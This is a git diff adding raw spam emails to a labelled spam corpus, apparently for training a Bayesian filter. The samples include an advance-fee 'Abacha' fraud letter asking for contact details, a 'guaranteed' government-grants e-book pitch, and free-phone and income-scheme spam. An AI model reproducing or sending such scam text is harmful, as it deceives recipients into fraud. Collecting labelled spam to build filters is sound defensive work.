to you by my second son Mallam Mustafa Abacha. You should note also that my son - Mallam Mustapha Abacha shall handle all cases as regards this business; as he is well abreast with this transaction for I do not have access to telephone lines now because they have been tossed by security agents and my movement is being monitored. I would like my son (Mallam Mustafa Abacha) to settle down or be involved in a dating relationship with any lucky foreign lady at the successful completion of the transaction. +In acknowledgement of my proposal, I would want you to furnish me with your telephone number, fax number and address so as to enable my son whom will be dealing with you directly to easily have you communicate as to how you will receive this money on our behalf risk-free. +Thanking you in anticipation to your kind understanding and cooperation. I am looking forward for a healthy business relationship with you and my entire household. + +Hoping to hear from you. + +Best regards, + +Hajia Maryam Abacha. + +Call me on My Telephone Number 234-80-33357110 + +please for security reasons reply through to the fax number FAX 234-1-7590893 instead of the email as it is general to all the family member. + + + diff --git a/bayes/spamham/spam_2/01152.3cd924b7f65e2085150c613cfe2b8c42 b/bayes/spamham/spam_2/01152.3cd924b7f65e2085150c613cfe2b8c42 new file mode 100644 index 0000000..217cbf7 --- /dev/null +++ b/bayes/spamham/spam_2/01152.3cd924b7f65e2085150c613cfe2b8c42 @@ -0,0 +1,47 @@ +From ilug-admin@linux.ie Mon Jul 29 11:28:18 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 908A244126 + for ; Mon, 29 Jul 2002 06:25:17 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:17 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6SJUei20592 for + ; Sun, 28 Jul 2002 20:30:40 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id UAA23204; Sun, 28 Jul 2002 20:28:20 +0100 +Received: from ns3.super-hosts.com (super-hosts.com [216.12.213.215] (may + be forged)) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id UAA23172 for + ; Sun, 28 Jul 2002 20:28:11 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host super-hosts.com + [216.12.213.215] (may be forged) claimed to be ns3.super-hosts.com +Received: (from apache@localhost) by ns3.super-hosts.com (8.11.6/8.11.6) + id g6SJbJT21019; Sun, 28 Jul 2002 15:37:19 -0400 +Date: Sun, 28 Jul 2002 15:37:19 -0400 +Message-Id: <200207281937.g6SJbJT21019@ns3.super-hosts.com> +To: dannywalk@ntlworld.com, ross@excentric.com, + eglu@student.nuigalway.ie, joe@wombat.ie, ilug@linux.ie +From: spock@1andonly.com () +Subject: [ILUG] Free Cell phone with any Plan! +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Below is the result of your feedback form. It was submitted by (spock@1andonly.com) on Sunday, July 28, 19102 at 15:37:19 +--------------------------------------------------------------------------- + +message: Free Cell phone with any Plan! We have all the latest Phones for FREE!!!! Please click the link below to Choose your Free Cellphone! - http://www.reelten.com/redirect/index.html - Deals with Verizon, Pacbell, ATT, and many more! - If you have received this Email in error please contact: lon_chaney_jr@hotmail.com with subject: remove. + +--------------------------------------------------------------------------- + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/spam_2/01153.423d8f8120ab7fa0946c45a60a44c059 b/bayes/spamham/spam_2/01153.423d8f8120ab7fa0946c45a60a44c059 new file mode 100644 index 0000000..a070564 --- /dev/null +++ b/bayes/spamham/spam_2/01153.423d8f8120ab7fa0946c45a60a44c059 @@ -0,0 +1,211 @@ +From mdbayler@amison69.freeserve.co.uk Mon Jul 29 11:22:21 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1EC6344118 + for ; Mon, 29 Jul 2002 06:21:01 -0400 (EDT) +Received: from mandark.labs.netnoteinc.com [213.105.180.140] + by localhost with POP3 (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:21:01 +0100 (IST) +Received: from WWW2.IBM.IT ([195.183.8.4]) + by mandark.labs.netnoteinc.com (8.11.6/8.11.6) with SMTP id g6SK3jp05202 + for ; Sun, 28 Jul 2002 21:03:45 +0100 +Message-Id: <200207282003.g6SK3jp05202@mandark.labs.netnoteinc.com> +Received: from cagf97200.com(pb84.zabrze.sdi.tpnet.pl[217.98.193.84]) by WWW2.IBM.IT (IBM OS/400 SMTP V04R05M00) with TCP; Sun, 28 Jul 2002 21:56:09 +0000 +From: "erleg" +To: erleg@netlnx.com +Cc: drcodis@netlogix.net, ericp@netlords.com, fareast@netlynx.com, + anaborges@netmadeira.com, thetruth@netmagicinc.com, lg@netmaine.com, + ad@netmale.com, downtown@netman.com, applied@netmar.com, + cursorkid@netmark.cedarcity.com, rodigue@netmarketing.net, + rmaureen@netmarketoptions.com, arthur@netmarquee.com, + erkins@netmass.com, thora.tenbrink@netmatic.com, + louieb@netmatter.com, iter@netmaven.com, leon@netmegs.com, + jackforeman@netmender.net, late@netmill.com, elplebe@netmio.com, + robk@netmkt.com, chowc@netmotion.com, mail@netmusic.com, + ashley@netnames.com, gordonr@netnanny.com, crwagner@netnautics.com, + obx@netnc.com +Date: Sun, 28 Jul 2002 12:56:46 -0700 +Subject: Retire Early -- Earn Easy Online Income +MIME-Version: 1.0 +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 +X-Precedence-Ref: l234056789zxcvbnmlkjhgfq +Content-Transfer-Encoding: 7bit +Content-Type: text/html; charset=us-ascii + + + + + + + Internet Empires + + + +
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    + + [8J7BJK9^":}H&*TG0BK5NKIYs5] + + + diff --git a/bayes/spamham/spam_2/01154.dc96d527593e053228ad2b9111e8ad36 b/bayes/spamham/spam_2/01154.dc96d527593e053228ad2b9111e8ad36 new file mode 100644 index 0000000..392863a --- /dev/null +++ b/bayes/spamham/spam_2/01154.dc96d527593e053228ad2b9111e8ad36 @@ -0,0 +1,29 @@ +From apache@ns3.super-hosts.com Mon Jul 29 11:26:41 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4FDCD44133 + for ; Mon, 29 Jul 2002 06:24:35 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:24:35 +0100 (IST) +Received: from ns3.super-hosts.com (super-hosts.com [216.12.213.215] (may + be forged)) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6SJpsi21292 for ; Sun, 28 Jul 2002 20:51:54 +0100 +Received: (from apache@localhost) by ns3.super-hosts.com (8.11.6/8.11.6) + id g6SJxup26416; Sun, 28 Jul 2002 15:59:56 -0400 +Date: Sun, 28 Jul 2002 15:59:56 -0400 +Message-Id: <200207281959.g6SJxup26416@ns3.super-hosts.com> +To: remi@a2zis.com, yyyy-fm@spamassassin.taint.org, nick@fargus.net, + earlhood@usa.net, mdl@chat.ru +From: spock@1andonly.com () +Subject: Free Cell phone with any Plan! + +Below is the result of your feedback form. It was submitted by (spock@1andonly.com) on Sunday, July 28, 19102 at 15:59:55 +--------------------------------------------------------------------------- + +message: Free Cell phone with any Plan! We have all the latest Phones for FREE!!!! Please click the link below to Choose your Free Cellphone! - http://www.reelten.com/redirect/index.html - Deals with Verizon, Pacbell, ATT, and many more! - If you have received this Email in error please contact: lon_chaney_jr@hotmail.com with subject: remove. + +--------------------------------------------------------------------------- + + diff --git a/bayes/spamham/spam_2/01155.e8634e51df914973d548076958ed90b2 b/bayes/spamham/spam_2/01155.e8634e51df914973d548076958ed90b2 new file mode 100644 index 0000000..773923f --- /dev/null +++ b/bayes/spamham/spam_2/01155.e8634e51df914973d548076958ed90b2 @@ -0,0 +1,399 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6Q0m6i5004754 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Thu, 25 Jul 2002 19:48:06 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6Q0m6CX004751 + for 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Don't just IM. Build it in! +http://www.jabber.com/osdn/xim +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/01156.5a3a6bdccf5df42348f22cada73a1b12 b/bayes/spamham/spam_2/01156.5a3a6bdccf5df42348f22cada73a1b12 new file mode 100644 index 0000000..64b24ea --- /dev/null +++ b/bayes/spamham/spam_2/01156.5a3a6bdccf5df42348f22cada73a1b12 @@ -0,0 +1,116 @@ +From fork-admin@xent.com Mon Jul 29 11:40:41 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 65E4B44116 + for ; Mon, 29 Jul 2002 06:36:00 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:36:00 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6SA35i32679 for ; + Sun, 28 Jul 2002 11:03:05 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id BE4CE2940B3; Sun, 28 Jul 2002 03:01:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from ariserver.cts.com (unknown [65.105.193.98]) by xent.com + (Postfix) with ESMTP id E08302940A2 for ; Sun, + 28 Jul 2002 03:00:53 -0700 (PDT) +Received: from mx06.hotmail.com (ACBF65CA.ipt.aol.com [172.191.101.202]) + by ariserver.cts.com with SMTP (Microsoft Exchange Internet Mail Service + Version 5.5.2653.13) id PXRY9F8Y; Sun, 28 Jul 2002 03:02:47 -0700 +Message-Id: <00001f316be1$00005f8c$00000afa@mx06.hotmail.com> +To: +Cc: , , , + , , , + +From: "Faith" +Subject: Are you at risk? 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    + + +aster + + + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/spam_2/01157.0b96d63f8b171b5b5f8a872029371480 b/bayes/spamham/spam_2/01157.0b96d63f8b171b5b5f8a872029371480 new file mode 100644 index 0000000..cc2be1e --- /dev/null +++ b/bayes/spamham/spam_2/01157.0b96d63f8b171b5b5f8a872029371480 @@ -0,0 +1,96 @@ +From fork-admin@xent.com Mon Jul 29 11:29:32 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A431E4416D + for ; Mon, 29 Jul 2002 06:25:41 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:41 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6T0O6i30544 for ; + Mon, 29 Jul 2002 01:24:07 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id DA5682940B3; Sun, 28 Jul 2002 17:22:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from sm14.texas.rr.com (sm14.texas.rr.com [24.93.35.41]) by + xent.com (Postfix) with ESMTP id ABA912940AF for ; + Sun, 28 Jul 2002 17:21:53 -0700 (PDT) +Received: from waynemain (cs2427121-96.houston.rr.com [24.27.121.96]) by + sm14.texas.rr.com (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id + g6T0MvVB017267 for ; Sun, 28 Jul 2002 19:23:11 -0500 +Message-Id: <4123-2200271290225570@waynemain> +From: "Wayne" +To: "fork@spamassassin.taint.org" +Subject: Try It Free Before You Buy! +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sun, 28 Jul 2002 19:22:05 -0500 +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g6T0O6i30544 +Content-Transfer-Encoding: 8bit + +Hi ! + +My name is Wayne Harrison and I would like to share a +genuine, NO RISK opportunity with you. + +What I have to share with you is not like any other internet +opportunities you have seen before. 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    +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/spam_2/01159.ff9629cf51f03cb35075a51950e73a4d b/bayes/spamham/spam_2/01159.ff9629cf51f03cb35075a51950e73a4d new file mode 100644 index 0000000..dc3a803 --- /dev/null +++ b/bayes/spamham/spam_2/01159.ff9629cf51f03cb35075a51950e73a4d @@ -0,0 +1,552 @@ +From cleand_my_shed@yahoo.com Mon Jul 29 11:41:08 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E8AFF440EC + for ; Mon, 29 Jul 2002 06:36:46 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:36:46 +0100 (IST) +Received: from yahoo.com (IDENT:nobody@[211.46.17.161]) by + dogma.slashnull.org (8.11.6/8.11.6) with SMTP id g6T0xci31526 for + ; Mon, 29 Jul 2002 01:59:39 +0100 +Reply-To: +Message-Id: <002d63d85c4a$4774a8a6$8bb84bb7@xufqoe> +From: +To: +Subject: The Government grants you $25,000! +Date: Mon, 29 Jul 2002 13:51:52 +1100 +MIME-Version: 1.0 +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook, Build 10.0.2627 +Importance: Normal +Content-Type: text/html; charset="iso-8859-1" + + + + +
    +

    +  +Free Personal and Business Grants

    + +

      +

    + + + +
    +
    +

    +" Qualify for at least $25,000 in free +grants money - Guaranteed! "

    +
    + +
    +

    +Each day over One Million Dollars in Free +Government
    +Grants  is given away to people just like you for a wide
    +variety of Business And Personal Needs

    +        +Dear Grant Seeker, +
    In a moment, I'll tell you +exactly HOW & WHERE to get Grants. This MONEY has to +be given away, WHY not to YOU?
    + +
    You may be thinking, "How +can I get some of this Free Grants Money"
    + +
    Maybe you think it's impossible +to get free money?
    + +
    Let me tell you it's not +impossible! It's a fact, ordinary people and businesses all across the +United States are receiving millions of dollars from these Government and +Private Foundation's everyday.
    + +
    Who Can Apply?
    + +
    ANYONE can apply +for a Grant from 18 years old and up!
    + +
    Grants from $500.00 to $50,000.00 +are possible! GRANTS don't have to be paid back, +EVER! Claim +your slice of the FREE American Pie.
    + +
    This money is not a loan, +Trying to get money through a conventional bank can be very time consuming +and requires a lot of paperwork, only to find out that you've been denied. +These Government Agencies don't have to operate under the same stringent +requirements that banks do.
    + +
    You decide how much money +you need, as long as it's a lawful amount and meets with the Government +Agencies criteria, the money is yours to keep and never has to be repaid. +This money is non taxable & interest free.
    + +
    None of these programs require +a credit check, collateral, security deposits or co-signers, you can apply +even if you have a bankruptcy or bad credit, it doesn't matter, you as +a tax payer and U.S. citizen are entitled to this money.
    + +
    There are currently over +1,400 Federal Programs, 24,000 State Programs, 30,000 Private Foundations +and 20,000 Scholarship Programs available.
    + +
    This year over $30 Billion +Dollars In Free personal and business Government Grants Money will be given +away by Government Grants Agencies.
    + + +
      +
    + + + +
    +
    +

    +Government Personal +and Business Grants Facts:

    +Over 20 Million People Get Government +Money Every Year: +
      1,000,000 entrepreneurs get money +to start or expand a business +

      4,000,000 people get money to invest +in real estate +

      6,000,000 people get money to go +to college +

      10,000,000 people get free help and +training for a better job

    +
    + +

    +Getting Business +Grants

    + +
    Anyone thinking about going +into business for themselves, or wanting to expand an existing business +should rush for the world's largest "one-stop-money-shop" where FREE business +grants to start or expand a business is being held for you by the Federal +Government.
    + +
    It +sounds absolutely incredible that people living right here in the United +States of America wouldn't know that each year the world's largest source +of free business help delivers:
    + +
      Over $30 billion dollars in free +business grants and low-interest loans; +

      over one-half trillion dollars in +procurement contracts; and +

      over $32 billion dollars in FREE +consulting and research grants.

    + +
    With an economy that remains +unpredictable, and a need for even greater economic development on all +fronts, the federal government is more willing than it ever has been before +to give you the money you need to own your own business and become your +own boss!
    + +
    In +spite of the perception that people should not look to the government for +help, the great government give-away programs have remained so incredibly +huge that if each of the approximately 8 million businesses applied for +an equal share, they would each receive over $70,000.
    + +
    Most +people never apply for FREE Business Grants because they somehow feel it +isn't for them, feel there's too much red-tape, or simply don't know who +to contact.The fact is, however, that people from all walks of life do +receive FREE GRANTS MONEY and other benefits from the government, and you +should also.
    + +

    +Government Grants +for Personal Need

    + +
    Help to buy a new home for +low income families, repair your home, rent, mortgage payments, utility +bills, purchase a new car, groceries, childcare, fuel, general living expenses, +academic tutoring, clothing, school supplies, housing assistance, legal +services, summer camp, debts, music lessons, art lessons, any extracurricular +activities, pay bills for senior citizens, real estate taxes, medical expenses +and general welfare. If you or someone you know suffered a fire lose there +are programs available to help in replacing necessities.
    + +

    +Scholarships And +Grants For Education

    + +
    Grant Money for preschool +children and nursery school education, private, primary and secondary schools, +men and women to further their education, scholarships for athlete's, business +management, engineering, computer science, medical school, undergraduate, +graduate, professional, foreign studies and many more.
    + +

    +Here's How You +Can Get Free Grants
    +In The Shortest Time Possible

    + +
    Once you know how and where +to apply for a specific Free Grant, results are almost inevitable. The +government wants to give away this money. . . it is under congressional +mandate to do so! These funds are made available to help you, the tax payer. +All that's required from you is the proper presentation of your grant request. +That's all.
    +Announcing... +
    +

    +"The Complete +Guide To Government Grants"

    + +
    Forget just about everything +you've seen or heard about government grants. What I've done is put together +a complete blueprint for researching, locating and obtaining government +grants. "The Complete Guide To Government Grants" is the most comprehensive +tool for obtaining free grant money, and it comes in an Electronic book +
    (e-book) format, meaning you can +download and start using it minutes after you order.
    + +
    The +Complete Guide to Government Grants will provide you with access to thousands +of grant and loan sources, with step by step instructions to proposal writing +and contact procedures.
    +In the Complete Guide to Government +Grants you'll find: +
    Step by step guidelines +to applying for government grants
    + +
    Direct access to over 1,400 +grant, loan and assistance programs offered by the U.S. federal government. +All you need to do is Click & Find your program from the detailed categorized +listings
    + +
    Direct access to thousands +of resources of state specific grant programs
    + +
    Name, phone number and address +of an expert in your state that will answer your grant related questions +and help you with the grant application... free of charge
    + +
    Online directory of government +supported venture capital firms
    + +
    A unique search tool that +will allow you to generate a customized listing of recently announced grant +programs
    + +
    Government funding programs +for small businesses
    + +
    Top 100 government programs +(based on number of inquiries), discover what are the most sought after +government grants and assistant programs. Claim your slice of the FREE +American Pie
    + +
    Online Directory of federal +and state resources for government scholarships and grants for education
    + +
    Step by step guidelines +to locating grants, loans and assistant programs for starting a new business +or expanding an existing one
    + +
    How to get free small business +counseling and expert advice courtesy of the US government
    + +
    Government grants application +forms
    + +
    Direct access to thousands +of government grants programs covering: small businesses, home improvement, +home buying and homeownership, land acquisition, site preparation for housing, +health, assistance and services for the unemployed, job training, federal +employment, education, and much much more
    + +
    How to develop and write +grant proposals that get results
    + +
    ...Plus much more
    +The Complete Guide to Government +Grants is so comprehensive, it provides you with direct access to practically +every source of FREE government grants money currently available. +
    If you're an American citizen +or resident, you are entitled to free grant money ranging from $500 to +$250,000 or more. If you are Black you have already qualified for 15 programs, +being Hispanic, you qualify for many programs. Being a Christian will get +you into 20 programs, there are also many other programs available for +different faiths, Jewish, Catholic. Not having any money, will get you +into over 30 programs, 550 programs if you are unemployed, or underemployed. +The list and sources are endless.
    + +
    You Are Eligible! This money +is Absolutely Free and will be yours to use for any worthwhile purpose.
    + +
    Did you know you can apply +for as many grants as you want?
    + +
    It's true, For instance, +you could get a $65,000 grant to begin a weight loss business, get $8,800 +in tuition to become a nurse or $35,000 to open up the day-care center, +you've always dreamed of owning. And then, go out and apply for a grant +to buy a home for you and your family. And once your new business starts +doing well you could go out and get another grant for expansion of your +business. The possibilities are endless.
    + + +
      +
    + + + +
    +

    +You Must Qualify +For At Least $25,000 In Free
    +Grants Money, Or Your Money Back!

    + +
    We are so confident in our +Grants Guide that If you have not received at least $25,000 in free grant +money, or, if you are unhappy with our e-book for any reason within the +next 12 months, Just send the e-book back and we will refund your entire +payment. NO QUESTIONS ASKED!!
    + +
    If you want to order, we +insist you do so entirely at our risk. That is why the E-book comes with +a... No Risk full year Money-Back Guarantee. There is absolutely +NO RISK on your part with this 365 day guarantee. What we mean is we want +you to order without feeling you might "get taken."
    + +
    Therefore, we want you to +order this material today... read it, use it... and if for any reason you +aren't completely satisfied, you not only can cancel, you should, +for an immediate refund of your purchase price. You simply can't lose.
    + +
    Free +Bonuses
    + +
    Just to "sweeten" the deal, +I'll include the following four valuable bonuses, that you can keep +as a gift, even if you later decide not to keep the Grants Guide!
    + +
    Free Bonus #1:
    + +
    A Fully Featured Grants +Writing Tutorial Software Package
    + +
    THIS INFO ALONE IS WORTH +THOUSANDS OF DOLLARS - I GUARANTEE YOU CAN PURCHASE A GRANTS CD OR INFO +ANYWHERE, AND YOU WILL NOT RECEIVE THIS DOWNLOADABLE SOFTWARE THAT ACTUALLY +SHOWS YOU HOW TO APPLY AND WHAT TO SAY, SO THAT YOU ARE ACCEPTED FOR A +GRANT !!!
    + +
    This interactive software +tool will walk you through the grant-writing process and will teach you +everything you need to know to write competitive grants proposals.
    + +
    The program includes:
    + +
      +
      detailed information and +tips on writing grants proposals;
      + +
      how to complete a grant +application package;
      + +
      examples of good, complete +grant packages;
      + +
      a glossary of grants terms;
      + +
      resources and contacts;
      + +
      a mock grants-writing activity +where you will be able to compare your results to a successful grant application
      + +
      plus much much more
      +
    + +
    Free Bonus #2:
    + +
    The Insider Information +Report: 61 Ways To Save Money
    + +
    This valuable special report +contains insider experts tips and techniques that will help you to save +thousands of Dollars. You'll discover little known secrets and tricks to +saving money on airline fares, car rental, new and used car buying, auto +leasing, gasoline, car repairs, auto insurance, life insurance, savings +and investment, credit cards, home equity loans, home purchase, major appliances, +home heating, telephone services, food purchase, prescription drugs and +more.
    + +
    Free Bonus #3:
    + +
    The Complete Guide To +Starting Your Own Business
    + +
    A +comprehensive manual that will give you all the guidelines and tools you +need to start and succeed in a business of your own, packed with guides, +forms, worksheets and checklists. You will be amazed at how simple these +strategies and concepts are and how easy it will be for you to apply them +to your own business idea. Hundreds were sold separately at $40 each... +you get it here for free.
    + +
    Here's +just a taste of what's in the guide:
    + +
    How +to determine the feasibility of your business idea. A complete fill in +the blanks template system that will help you predict problems before they +happen and keep you from losing your shirt on dog business ideas.
    + +
    A step by step explanation +of how to develop a business plan that will make bankers, prospective partners +and investors line up at your door. Plus, a complete ready made business +plan template you can easily adapt to your exact needs.
    + +
    Discover the easiest, simplest +ways to find new products for your business that people are anxious to +buy.
    + +
    How +to make money with your new idea or invention. Secrets of making sure you +put cash in your pocket on your very first idea business venture.
    + +
    Complete, step by step instructions +on how to plan and start a new business. This is must-know must-do information; +ignore it and you stand a good chance to fail. You get specifically designed +instructions for each of the following: a service business, a retail store, +a home based business, a manufacturing company, and more.
    + +
    What nobody ever told you +about raising venture capital money. Insider secrets of attracting investors, +how to best construct your proposal, common mistakes and traps to avoid, +and much more.
    + +
    Checklist +for entering into a partnership. Keeps you from costly mistakes when forming +a partnership.
    + +
    How to select a franchise +business. A step by step guide to selecting a franchise that is best for +you.
    + +
    A complete step-by-step +organized program for cutting costs in your business. Clients of mine have +achieved an average of 28% to 35% cost reduction with this technique, and +you can too. Keep the money in your pocket with this one!
    + +
    What are the secrets behind +constructing a results driven marketing plan? I will lead you step by step +into developing a marketing plan that will drive your sales through the +roof.
    + +
    A complete step by step +guide guaranteed to help you increase your profits by up to 64%, I call +it "The Profit Planning Guide". This is a simple, practical, common sense +strategy, but amazingly enough, almost no one understands or uses it.
    + +
    Free Bonus #4:
    + +
    Guide To Home Business +Success
    + +
    This +is a fast, no-frills guide +to starting and succeeding in a home based business. Here's just a taste +of what's in the guide:
    + +
    Home +business: is it for you?
    + +
    What +are the secrets behind the people who have million dollar home based businesses? +you'll find a 24 tip list proven to turn your home business into a money +machine.
    + +
    Laws and regulations you +must be aware of to avoid legal errors.
    + +
    Planning +a home based business - Insider secrets and tips revealed for ensuring +your success in a home business.
    + +
    Fundamentals +of home business financial planning.
    + +
    Simple, +easy to copy ideas that will enhance your image - and the response you +get from your customers.
    + +
    Common +problems in starting and managing a home based  business - and how +to solve them once and for all.
    +Who I Am and Why I'm Qualified +to Give +
    You The Best Grants Advice +Available +
    I'm +the president of a leading Internet based information business. I'm also +the creator of "The Managing a Small Business CD-ROM" and the author of +five books.
    + +
    I've +been involved in obtaining grants and in small business for the past 23 +years of my life, as a business coach, a manager of a consulting firm, +a seminar leader and as the owner of five successful businesses.
    + +
    During +my career as a business coach and consultant I've helped dozens of business +owners obtain government grants, start their businesses, market, expand, +get out of troubles, sell their businesses and do practically every other +small business activity you can think of.
    + +
    The +Guide presented here contains every tip, trick, technique and strategy +I've learned during my 23 year career. You practically get my whole brain +in a form of an E-book.
    +How the Grants Guide is priced? +
    The Complete Guide To +Government Grants is normally priced at $50, but...
    + +
    ... as part of an Online +marketing test, if you purchase from this sale you pay only $19.99 (that's +75% off ...plus, you still get the FREE valuable bonuses.)
    + +
    If +you are serious about obtaining free grants money, you need this +guide. Don't delay a moment longer. Order Now !!! 
    +P.S. The Complete Guide To Government +Grants will make a huge difference. You risk nothing. The guide is not +the original price of $50, but only $19.99 (if you purchase through +this sale ) and comes with a one year money back guarantee. And you +get four valuable free bonuses which you may keep regardless. Don't delay +a moment longer, ORDER NOW !!!! +
      + +

    Shipping +and Handling is FREE since we will +email you all of this info via access to our secure website which contains +everything described above. +
    +

    +
    +

     Order +Now!!!

    + +If above link doesn't work, Click Here +
    + +

    +
      + + +4784GBrs1-518UZFh0043nkZY7-777l28 + + diff --git a/bayes/spamham/spam_2/01160.13829f56f0b8eb2d461ad8602a94a80e b/bayes/spamham/spam_2/01160.13829f56f0b8eb2d461ad8602a94a80e new file mode 100644 index 0000000..d153f71 --- /dev/null +++ b/bayes/spamham/spam_2/01160.13829f56f0b8eb2d461ad8602a94a80e @@ -0,0 +1,527 @@ +From allmerica@insurancemail.net Mon Jul 29 11:41:14 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 66AA6440ED + for ; Mon, 29 Jul 2002 06:36:54 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:36:54 +0100 (IST) +Received: from mail1.insuranceiq.com (host66.insuranceiq.com + [65.217.159.66] (may be forged)) by dogma.slashnull.org (8.11.6/8.11.6) + with ESMTP id g6T2xii06886 for ; Mon, 29 Jul 2002 03:59:45 + +0100 +Received: from mail pickup service by mail1.insuranceiq.com with Microsoft + SMTPSVC; Sun, 28 Jul 2002 22:59:15 -0400 +Subject: Fresh, Crisp Leads from Allmerica Financial +To: +Date: Sun, 28 Jul 2002 22:59:15 -0400 +From: "IQ - Allmerica" +Message-Id: +X-Mailer: Microsoft CDO for Windows 2000 +MIME-Version: 1.0 +Thread-Index: AcI2lyS8zVuXwoaaTneSKzLPLdXuSA== +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4522.1200 +Content-Class: urn:content-classes:message +X-Originalarrivaltime: 29 Jul 2002 02:59:15.0375 (UTC) FILETIME=[EC6E3BF0:01C236AB] +Content-Type: multipart/alternative; boundary="----=_NextPart_000_C7975_01C23675.9DAF2550" + +This is a multi-part message in MIME format. + +------=_NextPart_000_C7975_01C23675.9DAF2550 +Content-Type: text/plain; + charset="Windows-1252" +Content-Transfer-Encoding: 7bit + + If Your Broker Dealer Isn't Giving You Fresh, Crisp, New Leads... + Fire Them and Hire Us + Allmerica Financial: A System for Success + Lead Generation + + Through established sponsored market programs with CPA firms, +banks, credit unions and property and casualty firms, you'll receive the +kind of leads you need to grow your client base and meet their long-term +financial needs. + + Marketing & Business Planning + + Allmerica experts will help you map a strategy for selecting and +penetrating the right market or markets to grow your practice. We'll +also give you the on-going support to make sure that you stay on-target. + + Client & Advisor Services + + Allmerica gives you an edge by providing you with web-based new +business technology and customer service programs designed for +responsiveness and convenience. + + On-Going Local Support + + Your local office will provide proven, innovative marketing and +sales support programs brought to you by your field-based associates. + +Investment Products and Services + Brokerage services Private money managers + Individual securities Automatic account rebalancing + + Mutual funds Individual retirement accounts + Proprietary and non-proprietary variable and fixed annuities +Asset allocation models and investment planning + Wrap programs 529 Plans +Other Personal Financial Services + Financial planning Tax planning + Retirement planning Comprehensive planning software + + Education planning Risk management & insurance +planning + Estate planning +Business Services + Business planning Business insurance: buy-sell, +key-person + Business continuation Executive compensation + Qualified plans: pensions, profit-sharing, 401K Group +insurance: life, disability, medical, etc. + 800-846-8395 +Please fill out the form 